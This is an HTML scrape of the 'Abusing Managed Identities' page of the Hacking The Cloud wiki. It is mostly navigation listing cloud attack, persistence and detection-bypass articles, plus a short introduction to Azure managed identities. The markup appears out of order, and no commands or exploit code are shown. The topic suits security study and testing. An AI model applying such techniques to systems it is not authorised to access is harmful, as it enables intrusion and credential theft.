href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Managed Identities </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Managed Identities </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#setup-azure-managed-identity class=md-nav__link> <span class=md-ellipsis> Setup Azure Managed Identity </span> </a> </li> <li class=md-nav__item> <a href=#next-steps class=md-nav__link> <span class=md-ellipsis> Next steps </span> </a> </li> <li class=md-nav__item> <a href=#exploiting-azure-managed-identity class=md-nav__link> <span class=md-ellipsis> Exploiting Azure Managed Identity </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#setup-azure-managed-identity class=md-nav__link> <span class=md-ellipsis> Setup Azure Managed Identity </span> </a> </li> <li class=md-nav__item> <a href=#next-steps class=md-nav__link> <span class=md-ellipsis> Next steps </span> </a> </li> <li class=md-nav__item> <a href=#exploiting-azure-managed-identity class=md-nav__link> <span class=md-ellipsis> Exploiting Azure Managed Identity </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by andrei8055</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/abusing-managed-identities.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Abusing Managed Identities</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://0xpwn.wordpress.com/2022/03/13/create-an-azure-vulnerable-lab-part-4-managed-identities/ >Create an Azure Vulnerable Lab: Part #4 – Managed Identities</a> by <a href=https://tripla.dk/author/drag0nus/ >Andrei Agape</a></p> </li> </ul> </div> <p>Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.</p> <pre><code>Compute Resource --&gt; Managed Identity --&gt; Assigned Role(s) --&gt; Storage Account --&gt; Container
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#setup-azure-managed-identity class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Managed Identities </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 